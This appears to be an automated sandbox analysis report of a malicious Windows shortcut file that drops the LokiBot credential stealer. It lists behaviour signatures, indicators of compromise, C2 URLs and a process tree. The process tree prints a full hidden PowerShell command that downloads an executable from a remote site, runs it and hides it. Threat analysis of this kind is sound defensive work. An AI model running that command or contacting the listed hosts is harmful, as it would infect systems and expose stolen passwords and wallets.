Analysis

  • max time kernel
    126s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/08/2024, 01:18

General

  • Target
    15e851a4cb9c2270b109a2a346b9ce9a8c15104825b211a4194b3113c60f8ba3.lnk
  • Size 2KB
  • Sample240806-bnzyjaydqf
  • SHA256 15e851a4cb9c2270b109a2a346b9ce9a8c15104825b211a4194b3113c60f8ba3
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://www.requimacofradian.site/dfjbhskdbfvsdsfgsh/bzdjgbsdzjkngdsnhgtuonidsgtsgb/neio.exe

Extracted

Family
  • lokibot

C2
  • http://94.156.66.169:5788/bhvstgd/Panel/five/fre.php

  • http://kbfvzoboss.bid/alien/fre.php

  • http://alphastand.trade/alien/fre.php

  • http://alphastand.win/alien/fre.php

  • http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\15e851a4cb9c2270b109a2a346b9ce9a8c15104825b211a4194b3113c60f8ba3.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2444
    • C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsheLl.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsheLl.exe" -ExecutionPolicy -Bypass -WindowStyle hiDdEn -HiDdEn --hiDDeN ---HiddeN ----HidDEn -Command msadp32.acm;(new-object System.Net.WebClient).DownloadFile('http://www.requimacofradian.site/dfjbhskdbfvsdsfgsh/bzdjgbsdzjkngdsnhgtuonidsgtsgb/neio.exe','doubles.exe');./'doubles.exe';(get-item 'doubles.exe').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1060
      • C:\Users\Admin\AppData\Local\Temp\doubles.exe
        "C:\Users\Admin\AppData\Local\Temp\doubles.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3140
        • C:\Users\Admin\AppData\Local\Temp\doubles.exe
          C:\Users\Admin\AppData\Local\Temp\doubles.exe
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:2236
        • C:\Users\Admin\AppData\Local\Temp\doubles.exe
          C:\Users\Admin\AppData\Local\Temp\doubles.exe
          4⤵
          • Executes dropped EXE
          PID:908

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_qtdkp0fd.eyo.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qtdkp0fd.eyo.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        doubles.exe

        • Path C:\Users\Admin\AppData\Local\Temp\doubles.exe
        • Size 368KB
        • SHA256 7dd71d9e48bf5e2bdea15c97c6d800883bf88ecd1c51f55ab100e73984f9ca03
        • MD5 SHA1 SHA512 SSDEEP

        0f5007522459c86e95ffcc62f32308f1_ea0aa4d6-aa48-4733-9e64-85ab59ce35b0

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4182098368-2521458979-3782681353-1000\0f5007522459c86e95ffcc62f32308f1_ea0aa4d6-aa48-4733-9e64-85ab59ce35b0
        • Size 46B
        • SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
        • MD5 SHA1 SHA512

        0f5007522459c86e95ffcc62f32308f1_ea0aa4d6-aa48-4733-9e64-85ab59ce35b0

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4182098368-2521458979-3782681353-1000\0f5007522459c86e95ffcc62f32308f1_ea0aa4d6-aa48-4733-9e64-85ab59ce35b0
        • Size 46B
        • SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
        • MD5 SHA1 SHA512

        memory/1060-2-0x00007FFD3AB53000-0x00007FFD3AB55000-memory.dmp

        memory/1060-3-0x0000027447EE0000-0x0000027447F02000-memory.dmp

        memory/1060-13-0x00007FFD3AB50000-0x00007FFD3B611000-memory.dmp

        memory/1060-14-0x00007FFD3AB50000-0x00007FFD3B611000-memory.dmp

        memory/1060-23-0x00007FFD3AB50000-0x00007FFD3B611000-memory.dmp

        memory/2236-29-0x0000000000400000-0x00000000004A2000-memory.dmp

        memory/2236-33-0x0000000000400000-0x00000000004A2000-memory.dmp

        memory/2236-54-0x0000000000400000-0x00000000004A2000-memory.dmp

        memory/2236-62-0x0000000000400000-0x00000000004A2000-memory.dmp

        memory/3140-27-0x0000000004F00000-0x0000000004F9C000-memory.dmp

        memory/3140-28-0x00000000025E0000-0x00000000025E6000-memory.dmp

        memory/3140-26-0x0000000004AE0000-0x0000000004B48000-memory.dmp

        memory/3140-25-0x0000000002440000-0x0000000002446000-memory.dmp

        memory/3140-24-0x0000000000100000-0x0000000000164000-memory.dmp